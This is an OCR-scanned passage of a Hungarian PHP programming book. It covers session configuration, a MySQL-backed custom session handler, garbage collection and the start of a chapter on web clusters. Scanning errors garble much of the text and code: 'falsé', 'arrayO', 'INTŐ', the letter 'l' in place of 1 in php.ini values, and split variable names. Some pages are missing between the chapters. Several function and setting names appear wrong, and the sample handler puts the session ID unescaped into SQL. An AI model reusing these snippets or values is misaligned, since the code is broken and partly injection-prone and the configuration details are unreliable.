• session.cookie_lifetime - Alapállapotban értéke 0 (vagyis tiszta munkame-


neti süti). Amennyiben 0-tól eltérő értékre állítjuk, lehetővé tehetjük, hogy a mun-
kamenetek még azelőtt elavulhassanak, hogy a böngészőt bezárnánk (ami nagy-
szerű szolgálatot tehet a munkamenetek időzített megsemmisítésében), illetve
olyan munkameneteket is alkalmazhatunk, amelyek több böngészőben is jelen
vannak. (Mindazonáltal e téren igen óvatosnak kell lennünk, mind az adatbizton-
ság, mind az adattárolók használata szempontjából.)
• session.cookie_path - Beállítja a süti útvonalát, értéke alapállapotban /.
• session. cookie_domain - Beállítja a süti tartományát. Alapállapotban "", ami
a tartományt az ügyfélböngésző által kérelmezett gépnévben határozza meg.
• session.cookie_secure - Alapállapotban falsé. Meghatározza, hogy a süti ki-
zárólag SSL munkamenetekben legyen-e átküldhető. Ez lehetőséget ad annak meg-
akadályozására, hogy illetéktelenek kiolvashassák munkamenet-azonosítónkat, még
a hálózati kapcsolat lehallgatása esetén is. Természetesen mindez csak akkor haté-
kony, ha a süti tartományának teljes forgalma SSL kapcsolatokon keresztül folyik.

Hasonlóképpen, az alábbi paraméterek hasznosak lehetnek a lekérdezési karakterláncok


használata esetén:

• session.use_only_cookies - Meggátolja a munkamenet-azonosító kiolvasását


a lekérdezési karakterláncból. Ezt a kiegészítő biztonsági paramétert akkor kell be-
állítanunk, ha a use_trans_sid értéke falsé.
14. fejezet • Munkamenetek kezelése 387

• url_rewriter.tags - Alapértelmezésben értéke a=href, frame=src,


input = src, f orm=fakeentry. Beállítja azokat a címkéket, amelyeket a rendszer
automatikusan átír a munkamenet paramétereire ha a use_trans_sid értéke
true. így például, ha azt szeretnénk, hogy a munkamenet-azonosítókat a képekkel
is átküldjék, adjuk az img=src kódot az átírandó címkék listájához.

A PHP munkamenetek alapjai


Ha egyszerű munkameneteket szeretnénk használni programunkban, előkészítésükhöz
egyszerűen meghívhatjuk a session_start () függvényt, majd kulcs-érték párokat ír-
hatunk a $_SESSION autoglobális tömbbe. Az alábbi rövid kódrészlet egy munkamenetet
készít, ami megszámolja és megjeleníti látogatásaink számát egy oldalon. Az alapértelme-
zett munkameneti beállításoknál a rendszer süti segítségével viszi át a munkameneti ada-
tokat, és visszaáll eredeti állapotába, ha a böngészőt kikapcsolják.

Lássuk hát a kódot, ami a látogató adott oldalra lépéseit számolja:

<?php
session_start();
if(isset($_SESSION['viewnum'])) {
$_SESSION['viewnum' ] ++;
} else {
$_SESSION['viewnum'] = 1;
}
?>
<html>
<body>
Hello There.<br>
This is <?= $_SESSION['viewnum'] ?> times you have seen a page on
this site.<br>
</boűy>
</html>

A munkamenet előkészítését a session_start () végzi, beolvasva a munkamenet-azo-


nosítót egy sütin vagy lekérdezési paraméteren keresztül. A session_start () függvény
hívásakor a rendszer eléri az adott munkamenethez tárolt adatokat, és a korábbi kérel-
meknél beállított $_SESSION változókat újra feltölti értékeikkel. Ha a $_SESSION tömb-
be írunk, a rendszer megjelöli a változót, melyet a kérelem végén tárol a munkamenethez
tartozó tárolási módszernek megfelelően.

Ha még a kérelem teljesítése előtt tárolni szeretnénk a munkamenet adatait, ezt


a session_write_close () tagfüggvény hívásával tehetjük meg. Ezt az is ésszerűvé
teszi, hogy a beépített munkamenet-kezelők az adatépség megtartása érdekében záro-
lást alkalmaznak a munkameneti tároló elérése közben. Ha munkameneteinket egyetlen
388 PHP fejlesztés felsőfokon

oldal több keretében használjuk, a felhasználó böngészője ugyan párhuzamosan kívánja


azokat elérni, de a zárolások ezt nem teszik lehetővé - így azokat a kereteket, amelyek-
ben munkameneteket alkalmazunk, a rendszer sorban, egymás után tölti be és frissíti.

Előfordulhat az is, hogy végképp le akarunk zárni egy munkamenetet. Például egy bevá-
sárlókocsi-kezelő alkalmazásnál, ami több munkameneti változó segítségével követi nyo-
mon a kocsi tartalmát, a felhasználó kijelentkezése után ki kell ürítenünk a kocsit, és meg
kell semmisítenünk a munkamenetet. Mindezt az alapértelmezett kezelőkkel két lépésben
tehetjük meg:

// a $_SESSION változók kiürítése


$_SESSION = array();
// a munkameneti háttértár kiürítése
session_destroy();

A két művelet sorrendje nem lényeges, de mindkettőt végre kell hajtanunk.


A session_destroy () kiüríti ugyan a munkameneti háttértárat, de ha nem távo-
lítjuk el a $_SESSION változó tartalmát, a kérelem végeztével a rendszer újra beírja
az adatokat a háttértárba. Minden bizonnyal észrevettük, hogy még egy szót sem szól-
tunk arról, miként kezeli a munkameneteket maga a PHP. A 9-, 10. és 11. fejezetekben
láthattuk, hogy egy elegendően nagy adatforgalmú alkalmazásban nem nehéz megtölte-
ni egy bármekkora gyorstárat. A munkamenetek sem mentesek az ilyesfajta gondoktól,
így hát az esetükben is szükség van valamilyen tisztogató módszerre. A munkameneti
bővítmény fejlesztői a valószínűségi megközelítést választották a szemétgyűjtéshez.
A belső szemétgyűjtő eljárások hívásának adott valószínűsége van minden egyes kére-
lem esetében. Ezt a valószínűséget az alábbi php. ini beállítással adhatjuk meg:

// 1%-ra állítja a szemétgyűjtés valószínűségét adott kérelem esetében


session.gc_probability=l

A szemétgyűjtőnek a hatékony eltávolításhoz persze ismernie kell a munkamenet korát.


Az itt alkalmazott „korhatárt" is egy php. ini beállítással adhatjuk meg (alapértelmezett
értéke 1440 másodperc, vagyis 24 perc):

// a munkamenetek 15 perc ( 9 0 0 másodperc) elteltével begyűjthetők


session.gc_maxlifetime=900

A 14.1. ábrán láthatjuk, miként viselkedik a munkameneti bővítmény egy általános hely-
zetben. A munkamenet-kezelő elindul, előkészíti az adatokat, végrehajtja a szemétgyűjtést
és beolvassa a felhasználó munkameneti adatait. Ezt követően a rendszer végrehajtja az
14. fejezet • Munkamenetek kezelése 389

oldalon a session_start () után álló kódot. A program felhasználhatja, illetve módosít-


hatja a $_SESSION tömb tartalmát. Amikor a munkamenet véget ér, az adatok lemezre
kerülnek, és a rendszer kiüríti a munkameneti bővítmény belső változóit.

14.1. ábra
A munkamenet-kezelő működése.

Saját munkamenet-kezelő módszerek


Felesleges volna túl sok időt egy olyan hitelesítési rendszer fejlesztésével tölteni, amelyet
nem tudunk munkamenet-kezelőnk adatforgalmával összehangolni. Szerencsére a mun-
kameneti bővítmény rendelkezésünkre bocsátja a session_id függvényt, mellyel saját
munkamenet-azonosítókat készíthetünk, vagyis megtalálhatjuk a kapcsolatot hitelesítési
rendszerünkkel.

Ha a felhasználókat össze kívánjuk kötni a munkamenetekkel, egyszerűen használhatjuk


felhasználóazonosítójukat munkameneti azonosítóként. Altalános esetben ez nem igazán
jó módszer, hiszen munkamenet-azonosítónk így meglehetősen könnyen kitalálható.
Mindazonáltal ez esetben soha nem adjuk át vagy olvassuk be ezt az azonosítót szöveges
sütikből, hiszen a hitelesítési sütiből érjük el.

A 13. fejezetben megismert hitelesítési példa bővítéseként a látogatásszámlálót az alábbiak


szerint módosíthatjuk:
try {
$cookie = new Cookie();
390 PHP fejlesztés felsőfokon

$cookie->validate();
session_id($cookie->userid);
session_start();
}
catch (AuthException $e) {
header("Location:
/login.php?originating_uri=$_SERVER['REQUEST_URI']");
exit;
}
if(isset($_SESSION['viewnum'])) {
$_SESSION['viewnum']+ + ;
} else {
$_SESSION['viewnum'] = 1;
}
?>
<html>
<body>
Hello There.<br>
This is <?= $_SESSION['viewnum'] ?> times you have seen a page on
»» this site.<br>
</body>
</html>

Figyeljük meg, hogy itt a munkamenet-azonosítót még azelőtt beállítjuk, hogy meghívnánk
a session_start () függvényt. Erre szükség van a munkameneti bővítmény helyes mű-
ködéséhez. Példánk jelenlegi állapotában felhasználónk azonosítója egy sütiben (illetve le-
kérdezési karakterláncban) kerül a válaszba. Ennek elkerülésére le kell tiltanunk mind
a sütik használatát, mind a lekérdezési karakterláncok csatolását a php. ini állományban:

session.use_cookies=0
session.use_trans_sid=0

Emellett pedig (még akkor is, ha magunk állítjuk be a munkamenet-azonosítót) az alábbi


sorra is szükség lesz:

session.use_only_cookies=l

A fenti beállítások lehetetlenné teszik a munkameneti bővítmény minden olyan művele-


tét, amely a munkamenet azonosítóját az ügyfél böngészőjéhez továbbítaná. Ehelyett in-
kább hitelesítési sütik használatára támaszkodunk.

Ha lehetővé szeretnénk tenni, hogy egy felhasználóhoz több munkamenet is tartozhas-


son, csak egy újabb tulajdonságot kell elhelyeznünk a hitelesítési sütiben, melyet minden
14. fejezet • Munkamenetek kezelése 391

új munkamenet kezdetén (például hitelesítéskor) beállíthatunk. A felhasználónkénti több


munkamenet engedélyezése jól jöhet megosztva használt azonosítók esetén, egyébként
viszont a két felhasználó tevékenykedései összekeveredhetnek.

Megjegyzés
Jóllehet mindezt a 13. fejezetben részletesen tárgyaltuk, sosem árt megismételni: hacsak
nem vagyunk teljes mértékben meggyőződve arról, hogy munkameneteinket nem lehet
eltéríteni, illetve feltörni, mindig ügyelnünk kell adataik hatékony titkosítására. Csak vesz-
tegetjük az időnket, ha sütink adatain a R0T13-at használjuk. Valamilyen jól bevált szim-
metrikus titkosítót - mint a Triple DES, az AES vagy a Blowfish - kell alkalmaznunk.
Ez nem üldözési mánia - a józan ész is ezt diktálja.

Megismerkedtünk tehát a munkamenetek használatával - most ejtsünk néhány szót keze-


lőikről is, melyek a megvalósításukért felelnek. A munkameneti bővítmény lényegében
a háttértárolók körüli burkoló függvényekből áll. A választott tárolási módszer nem befo-
lyásolja azt, hogyan készítsük el kódunkat, de annál inkább hatással van arra, miként al-
kalmazhatjuk ezt a kódot különböző rendszerekben. Az alkalmazni kívánt munkamenet-
kezelőt a php. ini alábbi beállításával adhatjuk meg:

session.save_handler='files'

A PHP-ben két készen kapott munkamenet-kezelőt találhatunk:

• f iles - Ez az alapértelmezett kezelő, amely az egyes munkamenetek tárolásához


különböző fájlokat használ.
• mm - Ez a kezelő BSD osztott memóriát használ - csak akkor alkalmazhatjuk, ha te-
lepítettük a libmm-et, és a PHP-t a -with-mm kapcsolóval építettük fel.

Hasonló módszerekkel már találkozhattunk a 9., 10. és 11. fejezetekben. Ezek nagyszerűen
működnek, ha egy gépet használunk, de teljesítményük romlik, ha fürtökön futtatjuk őket.
Persze, hacsak nem valamilyen egyszerű összeállítással dolgozunk, valószínűleg nem fogunk
kizárólag a beépített kezelőkre hagyatkozni. Szerencsére rendelkezésünkre állnak horgok
a user_space munkemenet-kezelőhöz, ami lehetővé teszi, hogy megvalósítsuk saját mun-
kameneti tárolófüggvényeinket a PHP-ben. Beállításukra a session_set_save_handler
ad lehetőséget, Ha elosztott munkameneteket szeretnénk alkalmazni, amelyek nem épülnek
ragadós kapcsolatokra, magunknak kell megvalósítanunk őket. A felhasználói munkame-
net-kezelők a következő hat egyszerű tárolási művelet hívásaira épülnek:

• open
• close
• reád
392 PHP fejlesztés felsőfokon

• write
• destroy
• gc

Megvalósíthatunk például egy MySQL hátterű munkamenet-kezelőt, ami lehetővé teszi


számunkra, hogy több gépről összehangoltan érjük el egy adott munkamenet adatait.

A tábla szerkezete igen egyszerű. A munkamenet adatait a session_id kulcs azonosítja,


a $_SESSION sorosított tartalma a session_data-ba kerül. A CLOB (nagyméretű karak-
teres objektum) típusú text mezőt tetszőleges méretű munkameneti adat tárolására fel-
használhatjuk. A modtime a munkamenetek módosításainak követésére szolgál, így sok-
ban segíti a szemétgyűjtést.

14.2. ábra
A 14.1. ábra új változatában láthatjuk, milyen szerepet kapnak az egyes hívások
a munkamenet életében.
14. fejezet • Munkamenetek kezelese 393

A rendezettség kedvéért saját munkamenet-kezelőinket egy MySession nevű osztályban


helyezhetjük el:

class MySession {
static $dbh;

A MySession: : open megnyitja a munkamenetet. E függvényt úgy kell elkészítenünk, hogy


két paramétert ($save_path és $session_name) fogadjon. A $save_path a php. ini ál-
lomány session. save_path paraméterének felel meg. A f iles kezelő esetében ez
a munkameneti adatok tárolásának gyökérkönyvtára. Saját kezelőnkben beállíthatjuk úgy,
hogy a helyi jellemzőknek megfelelő tárolási adatokat állítson be. A $session_name
a munkamenet neve (amint ezt a php. ini session. session_name paramétere megadja).
Amennyiben több, névvel ellátott munkamenetet tartunk fenn különböző hierarchiákban, ez
igen hasznos lehet. Példánkban most egyikükkel sem törődünk, így egyszerűen figyelmen
kívül hagyhatjuk az átadott paramétereket, és megnyithatunk egy leírót az adatbázishoz, me-
lyet későbbi használatra tárolhatunk. Figyeljük meg, hogy mivel az open tagfüggvényt
a session_start () függvényben még a sütik elküldése előtt meghívtuk, nem készíthe-
tünk semmiféle kimenetet a böngésző számára, ha csak nem alkalmazunk kimenettárolást.
Ha mindennel végeztünk, a true értékkel térünk vissza, jelezve a munkameneti bővítmény
felé, hogy az open függvény helyesen működött:

function open($save_path, $session_name) {


MySession: :$dbh = new DB_MySQL_Test() ;
return(true);
}

Ha a kérelemmel elkészültünk, és kiírtuk az adatokat, meghívjuk a MySession: : close


tagfüggvényt a munkamenet-kezelő bezárására. Mivel azonban most maradandó adatbá-
zis-kapcsolatokat alkalmazunk, erre nincs szükség. Ha saját fájl alapú megoldást vagy
más, nem maradandó erőforrást alkalmazunk, meg kell győződnünk róla, hogy minden
általunk használt erőforrást bezártunk. Végezetül a true értékkel jelezzük a munkamene-
ti bővítménynek, hogy függvényünk sikeresen befejezte teendőit:

function close() {
return(true);
}

A MySession: : reád az első tagfüggvény, ami valódi munkát végez. Megkeressük


a munkamenetet a $id segítségével, és visszatérünk az eredményként kapott adatokkal.
Ha megtekintjük, milyen adatokat is olvasunk, a session_data tartalmát valahogy így
látjuk viszont:

countIi:5 ;
394 PHP fejlesztés felsőfokon

Ez meglehetősen ismerős lehet mindazok számára, akik használták már a serialize()


és az unserialize () függvényeket. A kapott adatok úgy festenek, mintha az alábbi
kódrészlet kimenetét látnánk:

<?php
$count = 5;
print serialize($count) ;
?>

> php ser.php


i:5;

Ez persze nem véletlen egybeesés: A munkameneti bővítmény ugyanazt a sorosító eljárást


alkalmazza, mint a serialize és a deserialize.

Ha kiválasztottuk a munkameneti adatokat, sorosított alakban visszaadhatjuk azokat.


A visszaalakítást és a $_SESSION újrafeltöltését maga a munkameneti bővítmény kezeli
majd:

function read($id) {
$result = MySession::$dbh->prepare("SELECT session_data
FROM sessions
WHEREsession_id = :1")->execute($i d);
$row = $result->fetch_assoc();
return $row['session_data'];
}

AMySession: :write függvény a MySession: :read párja. Paraméterként a munka-


menet azonosítóját ($id) és adatait ($sess_data) fogadja, és az utóbbiak háttértárba írá-
sáért felel. Hasonlóképpen a reád függvényhez, itt is egy sorosított adatokat tartalmazó
karakterláncot kapunk. Fontos, hogy frissítsük a módosítás idejét, így könnyen megszaba-
dulhatunk majd az üresjáratú munkamenetektől:

function write($id, $sess_data) {


$clean_data = mysql_escape_string($sess_data);
MySession::$dbh->execute("REPLACE INTŐ
sessions
(session_id, session_data, modtime)
VALUESt'$id', '$clean_data', n o w ( ) ) " ) ;

AMySession: :destroy függvényt a session_destroy () használata esetén hívjuk


meg. Segítségével egyszerűen kiüríthetjük az egyes munkameneteket, eltávolítva adataikat
a háttértárból. Jóllehet ez eltér a beépített kezelőktől, szükség van a $_SESSION tartalma-
14. fejezet * Munkamenetek kezelése 395

nak kiürítésére is. Akár a megsemmisítő függvényben, akár utána tesszük ezt meg, min-
denképpen létfontosságú lépés, hiszen csak így kerülhetjük el, hogy a munkamenetek au-
tomatikusan újraképződjenek.

íme egy egyszerű megsemmisítő függvény:

function destroy($id) {
MySession::$dbh->execute("DELETE FROM sessions
WHERE session_id = '$i d' " );
$_SESSION = arrayO;
}

Végezetül foglalkozzunk a szemétgyűjtést végző MySession: : gc függvénnyel. Meg kell


adnunk számára a munkamenet másodpercben mért élettartamát, amely a php. ini
session. gc_maxlif etime paraméterének felel meg. Amint a korábbi fejezetekben lát-
hattuk, az intelligens és hatékony szemétgyűjtés nem egyszerű feladat. A következőkben
kissé körülnézünk a különböző szemétgyűjtési módszerek körében. Most azonban csak
egy egyszerű függvényt mutatunk be e célra, amely mindössze annyit tesz, hogy eltávolít-
ja a $maxlif etime másodpercnél régebbi munkameneteket:

function gc($maxlifetime) {
$ts = time() - $maxlifetime;
MySession::$dbh->execute("DELETE FROM sessions
WHERE modtime <
from_unixtimestamp($ts)");
}
}

Szemétgyűjtés
A szemétgyűjtés valóban nehéz feladat. A túlzottan erélyes szemétgyűjtési módszerek sok
erőfonást emészthetnek fel, a túl gyengék esetében pedig hamar megtelhet a gyorstár. Amint
a korábbiakban láthattuk, a munkameneti bővítmény a szemétgyűjtést a save_handlers
gc függvény gyakori hívásával oldja meg. Egy egyszerű valószínűségi algoritmus segít abban,
hogy a felesleges munkameneteket - még a fiatalokat is - begyűjtsük.

A php. ini fájlban ehhez beállíthatjuk a session. gc_probability paramétert.


A session_start () hívásakor a rendszer egy 0 és session.gc_dividend (alap-
állapotban 100) közti véletlen számot hoz létre, és amennyiben ez kisebb, mint
a gc_probability, meghívja a telepített mentéskezelő szemétgyűjtő függvényét,
így ha a session. gc_probability értéke 1, szemétgyűjtésre a kérelmek 1%-ában
kerül sor - vagyis nagyjából 100 kérelmenként egyszer.
396 PHP fejlesztés felsőfokon

Szemétgyűjtés a files kezelőben

Nagyobb forgalmú alkalmazások esetében a files munkamenet-kezelő szemétgyűjtési


módszere jelentős adattorlódást okozhat. Ez a C-ben megvalósított függvény alapjában vé-
ve így fest:

function files_gc_collection($cachedir, $maxlifetime)


{
$now = time();

$dir = opendir($cachedir) ;
while(($file = readdir($dir)) !== falsé) {
if(strncmp("sess_", $file, 5)) { continue;
}
if($now - filemtime($cachedir."/".$file) > $maxlifetime) {
unlink($cachedir."/".$file),-
}
}
}

A gondot az okozza, hogy számos ki-, illetve bemeneti műveletet kell végeznünk a gyors-
tár könyvtárán. E könyvtár gyakori átnézése pedig komoly versenyt eredményezhet a kü-
lönböző folyamatok között.

Az egyik megoldás ennek elkerülésére, ha teljesen kikapcsoljuk a munkameneti bővít-


mény szemétgyűjtési eljárását (a session.gc_probability = 0 beállítással), és egy
ütemezett feladat segítségével (mint a korábbi függvény) teljességgel aszinkron módon
végezzük a takarítást.

Szemétgyűjtés az mm kezelőben
A files kezelő szemétgyűjtési módszerével szemben az mm kezelőé meglehetősen gyors.
Mivel minden adat az osztott memóriában található, egyszerűen zárolni kell a memória-
szegmenst, visszaírni a munkamenet aktuális adatait a memóriába, az elavultakat pedig
törölni.

Szemétgyűjtés a MySession kezelőben


Kérdés, hogy a MySession kezelő szemétgyűjtési eljárása miként viszonyul a files és az
mm kezelőkéhez. Azt kell megállapítanunk, hogy sajnálatos módon ugyanazoktól a gon-
doktól szenved, mint a files kezelő - sőt, talán ezek a gondok itt még súlyosabbak is.

A MySQL-nek a törlési műveletekhez kizárólagos táblazárolásra van szüksége. Ez nagy


adatforgalom esetén komoly versenyhelyzetet teremthet, amint több folyamat egyszerre
kívánja gondozni munkameneti tárolóját, míg mások olvasni és frissíteni szeretnék mun-
kameneti adataikat. Szerencsére a files kezelőben alkalmazott megoldás itt is ugyanúgy
használható - kikapcsolhatjuk a beépített szemétgyűjtés-indítást, és a takarítást ütemezett
feladatként valósíthatjuk meg.
14. fejezet • Munkamenetek kezelése 397

Ügyfél vagy kiszolgáló oldali munkamenetek - melyiket válasszuk?


Jómagam általánosságban az ügyfél oldali munkamenetek mellett vagyok, amennyiben
a bennük tárolt adatmennyiség viszonylag kicsi. A „viszonylag" számomra nagyjából 1
KB-ot jelent. E méret alatt az ügyfél kérelme jó eséllyel belefér egyetlen hálózati csomag-
ba (ez ugyanis nagy valószínűséggel alatta van az útvonal legnagyobb átvitt egysége mé-
retének). Ha a HTTP kérelmet egyetlen csomagba helyezhetjük, nincs szükség tördelésre,
ami csökkenti a hálózati késleltetést.

Ha kiszolgáló oldali munkamenet-kezelést választunk, fontos, hogy behatóan ismerjük az


adatolvasási, illetve -frissítési műveletek mennyiségét. Könnyű túlterhelnünk egy adatbá-
zis hátterű munkamenet-kezelő rendszert egy nagyforgalmú webhelyen. Ha ilyen rend-
szer használata mellett döntünk, legyünk nagyon körültekintőek - csak akkor frissítsük
a munkamenetek adatait, ha erre valóban szükség van.

Saját beépített munkamenet-kezelők megvalósítása


Ha ki szeretnénk használni a munkamenetek által biztosított lehetőségeket, de aggaszt
a felhasználói kód futtatásának a teljesítményre gyakorolt hatása, meglepően könnyen el-
készíthetjük C nyelven saját munkamenet-kezelőnket. Minderről bővebben a 22. fejezet-
ben szólunk.
Elosztott környezet kiépítése
Az eddigiekben a webes fürtök témakörét kerülgettük, mint macska a forró kását. Alkal-
mazásaink azzal a hallgatólagos feltételezéssel éltek, hogy egyetlen webkiszolgálót hasz-
nálunk a tartalom szolgáltatására. A megismert módszerek sok esetben nagyszerűen mű-
ködnek akkor is, ha több gépen alkalmazzuk őket. Néhány módszer esetében figyelembe
vettük a fürtöket is, de az, hogy hogyan és miért készítsünk webes fürtöket, még nem vált
központi témakörünkké. Most végre pótoljuk ezeket a hiányosságokat.

Mi is az a fürt?
Fürtnek olyan gépek csoportját nevezzük, melyeket azonos célra alkalmazunk. Hasonló-
képpen, egy alkalmazás, illetve szolgáltatás fürtözött, ha bármelyik részét egynél több ki-
szolgáló támogatja.

A 15.1. ábrán látható összeállítás - bár több gép szerepel rajta - nem felel meg ennek
a meghatározásnak, mivel minden gép egyedi szereppel rendelkezik, melyet egyetlen tár-
sa sem tölthet be. A 15.2. ábrán viszont egy egyszerű fürtözött szolgáltatást találunk. Itt
két felületi (front-end) gép látható, melyek terhelését forgató DNS (round-robin DNS)
egyenlíti ki. Mindkét webkiszolgáló azonos tartalmat szolgáltat.

Annak, hogy egy webhelyét egynél több webkiszolgálóra építsünk, általában véve két
oka lehet:

• Redundancia - Ha webhelyünk létfontosságú célt szolgál, és még egy rövid kimara-


dás sem engedhető meg, több webkiszolgálót kell alkalmaznunk. Nem számít, mi-
lyen drága eszközöket vásárolunk, egyszer minden meghibásodik, cserére szorul,
vagy fizikai karbantartásra lesz szüksége. Murphy törvénye ugyanúgy vagy talán
még inkább érvényes az informatikára, mint az élet más területeire, így biztosak le-
hetünk benne, hogy a váratlan meghibásodások a lehető legkellemetlenebb idő-
pontban következnek be. Ha szolgáltatásunk különösen magas készenléti követel-
ményekkel bír, előfordulhat, hogy nemcsak több kiszolgálóra, hanem több sávszé-
lesség-szolgáltatóra is szükségünk lesz, sőt akár külön adatközpontokat is ki kell
építenünk a szolgáltatás ellátása végett.
15. fejezet • Elosztott környezet kiépítése 401

15.2. ábra
Egyszerű fürtözött szolgáltatás.

15.3. ábra
Egy túlságosan bonyolult alkalmazásszerkezet.
402 PHP fejlesztés felsőfokon

E szerkezet előnyei között említhetjük az alábbiakat:

• Azzal, hogy a szolgáltatásokat különböző fürtökbe helyezzük, lehetővé tesszük,


hogy igényeik egymástól függetlenül változhassanak, amennyiben a forgalom nem
egyenletesen emelkedik minden szolgáltatásnál.
• A fizikai elválasztás egyértelmű, és elősegíti a logikai egységek szétválasztását is.

A hátrányok a mérettel kapcsolatban jelennek meg. Számos projektnél tapasztalható,


hogy túlságosan sok fürtre osztják az alkalmazást. Tíz logikailag elkülöníthető szolgálta-
tással rendelkezünk? Akkor hát tíz fürtre van szükségünk! Minden szolgáltatás létfontossá-
gú, így mindegyikük biztosításához legalább két gép kell. így hát igen gyorsan eljutottunk
odáig, hogy legalább 20 kiszolgálóval kell rendelkeznünk. Még kellemetlenebb, ha a fej-
lesztők kihasználják azt az értesülést, hogy a fürtök valójában különböző kiszolgálók, és
egymást kizáró lehetőségek kihasználásával építik fel különböző szolgáltatásaikat. Az
ilyen jellegű elválasztásra hagyatkozni olyan hibák megjelenését jelentheti, mint az azo-
nos nevű könyvtárak használata az adattárolásban. Az ehhez hasonló tervezési hibákat
nehéz vagy egyenesen lehetetlen orvosolni, és megjelenésük könnyen oda vezethet, hogy
valóban fizikailag különböző kiszolgálókat kell használnunk.

Persze nem mindig rossz dolog, ha 10 különböző fürt áll rendelkezésre a szolgáltatások
számára. Ha például naponta több millió oldalt szolgáltatunk, ez lehetővé teszi, hogy ha-
tékonyan elosszuk forgalmunkat a fürtökben. A gondok akkor jelentkeznek, amikor rend-
szerünk hihetetlenül erőforrásigényes, de naponta csak 100 000 vagy 1 000 000 oldalt
szolgáltatunk. Ilyenkor kénytelenek vagyunk egy hatalmas gépezetet fenntartani., mely-
nek ugyanakkor csak a töredékét tudjuk kihasználni. A hálózati programozás birodalma
telis-tele van rosszul felépített és kevéssé kihasznált rendszerekkel. Ezek amellett, hogy
rengeteg hardveres erőforrást pocsékolnak el, a fenntartás terén is tetemes költséggel jár-
nak. Könnyű persze a cégek hibáit okolni a tévutakért és a rossz gondolatokért, de sosem
szabad elfelejtenünk, hogy az 5 millió dolláros adatközpontok nem mutatnak jól a költ-
séglistán. Hálózati rendszertervezőként mindig úgy éreztem, hogy feladatom nemcsak
a könnyen méretezhető rendszerek kiépítése, hanem az is, hogy olyan alkalmazásokat
tervezzek, melyek a lehető legtöbb hasznot hozzák.

Ennyi figyelmeztetés talán elég is volt, most inkább lássuk, miként osszuk különböző
szolgáltatásainkat fürtökbe.

Fürtök tervezése
Első lépésként - függetlenül attól, mik a későbbi terveink - meg kell győződnünk arról,
hogy alkalmazásunk egyáltalán képes-e működni fürtözött környezetben. Ahányszor csak
előadást tartok egy-egy konferencián, mindig akad valaki, aki arról érdeklődik, mi a titka
a fürtözött alkalmazások készítésének. Nos, a nagy titok az, hogy nincs titok. A fürtökön
is futni képes alkalmazások készítése nem mondható szörnyen bonyolultnak.
15. fejezet • Elosztott környezet kiépítése 403

Az egyetlen, amit mindig és szigorúan be kell tartanunk, a következő:

Soha ne feltételezzük, hogy két felhasználó hozzáfér ugyanahhoz az adathoz,


hacsak nem kifejezetten megosztott erőforrásról van szó.

A gyakorlatban ez számos következménnyel jár:

• Soha ne használjunk fájlokat dinamikus adatok tárolására, hacsak ezek nem elérhe-
tők a fürt minden tagja számára (az NFS, Samba, vagy más fájlrendszerekben).
• Soha ne használjunk DBM-eket dinamikus adatok tárolására.
• Soha ne követeljük meg, hogy egymást követő kérelmek hozzáférjenek ugyanah-
hoz az erőforráshoz. így például azt megkívánni, hogy az egymás utáni kérelmek
ugyanazt az adatbázis-kapcsolatot használják, nem helyes, de ha azt követeljük
meg, hogy ezek a kérelmek ugyanazzal az adatbázissal alakítsanak ki kapcsolatot,
az már alkalmazható módszer.

Fő az előrelátás
A fürtök alkalmazásának egyik legfontosabb oka, hogy megpróbálunk védekezni az
egyes elemek meghibásodása ellen. Ez nem üldözési mánia - a webes fürtöket gyakran
építik fel tömeggyártású elemekből. Ezek gyakorlatilag ugyanazok a hardverkomponen-
sek, mint amiket az asztali számítógépekben is használunk, esetleg állványra szerelt ház-
ban, komolyabb tápegységgel, vagy kiszolgáló típusú BlOS-szal. A tömeggyártásban ké-
szült eszközök jellemzően gyengébb minőségellenőrzéssel készülnek, hibatűrésük pedig
kisebb. így a komolyabb, vállalati rendszerekkel szemben a tömeggyártású gépek kisebb
eséllyel képesek kivergődni egy olyan helyzetből, amikor egy processzor vagy memória-
kártya meghibásodik.

Ez a gyengébb minőségű felépítés azonban hihetetlen költségmegtakarítással párosul.


A Google, a Yahoo! és más hasonló cégek megmutatták, milyen jelentős költségek takarít-
hatók meg, ha nagy számú olcsó, tömeggyártású gépen futtatják szolgáltatásaikat ahelyett,
hogy kevesebb, de sokkal drágább gépekre építenének.

A tanulság az, hogy a tömeggyártású gépek elromolhatnak, és minél többet használunk be-
lőlük, annál gyakrabban találkozunk ilyen meghibásodásokkal - következésképpen alkal-
mazásunk tervezésében ezt mindenképpen számításba kell vennünk. íme néhány jó tanács:

• Győződjünk meg róla, hogy alkalmazásunk a legfrissebb kóddal rendelkezik, mie-


lőtt elindulna. Egy olyan környezetben, ahol a kód gyorsan változik, elképzelhető,
hogy az a kód, ami kiszolgálónkon annak összeomlása idején futott, eltér attól, ami
jelenleg működik a többi gépen.
• Az alkalmazás indítása előtt ki kell ürítenünk a helyi gyorstárakat, hacsak nem va-
gyunk meggyőződve arról, hogy az adatok összhangban vannak.
404 PHP fejlesztés felsőfokon

• Soha nem szabad megkövetelnünk, hogy az ügyfél munkamenete egy adott kiszol-
gálóhoz kötődjön - még akkor sem, ha terheléskiegyenlítőnk támogatja ezt a lehe-
tőséget. Hasznos lehet persze, ha a kiszolgálók, illetve az ügyfelek kötődnek egy-
máshoz a gyorstár hatékonysága érdekében, de az ügyfél munkamenetének nem
szabad megszakadnia, ha egy kiszolgáló kikapcsolódik.

Csapatjáték
Rendszerünket az összjátékra, nem pedig a kizárólagosságra kell építenünk. Az alkalma-
zások éppoly gyakran zsugorodnak, mint amilyen gyakran növekednek - nem szokatlan,
hogy egy projekt túltervezett, és több hardvereszközt használ, mint amennyire valójában
szüksége van (így egyúttal nagyobb tőkeerőre van szüksége, és fenntartási költsége ma-
gasabb). A rendszer szerkezete sokszor lehetetlenné teszi, hogy több szolgáltatást egyet-
len gépre helyezzünk. Az ilyen helyzet közvetlenül megsérti a méretezhetőség alapköve-
telményét, amely lehetővé teszi mind a növekedést, mind a zsugorodást.

Az alkalmazások békés egymás mellett élését nem különösebben nehéz megvalósítani


a programozási gyakorlatban. Ez nem igényel különösebb tervezést vagy alkalmazkodást
- mindössze némi előrelátást a buktatók elkerülése érdekében.

A függvények névterei
Erről a kérdésről már szóltunk korábban, és akkor sem ok nélkül: A függvények, osztá-
lyok és globális változónevek esetében a helyes névterek használata létfontosságú a nagy-
méretű alkalmazások tervezésénél, hiszen ez az egyetlen módszer, mellyel elkerülhetjük
a szimbólumok neveinek ütközését.

Készítettem egyszer egy webnaplózó programot, melynek egyik támogató könyvtárában


létezik egy függvény formázott hibaüzenetek megjelenítésére:

function displayError($entry) {
II... a webnapló hibamegjelenítő függvénye
}

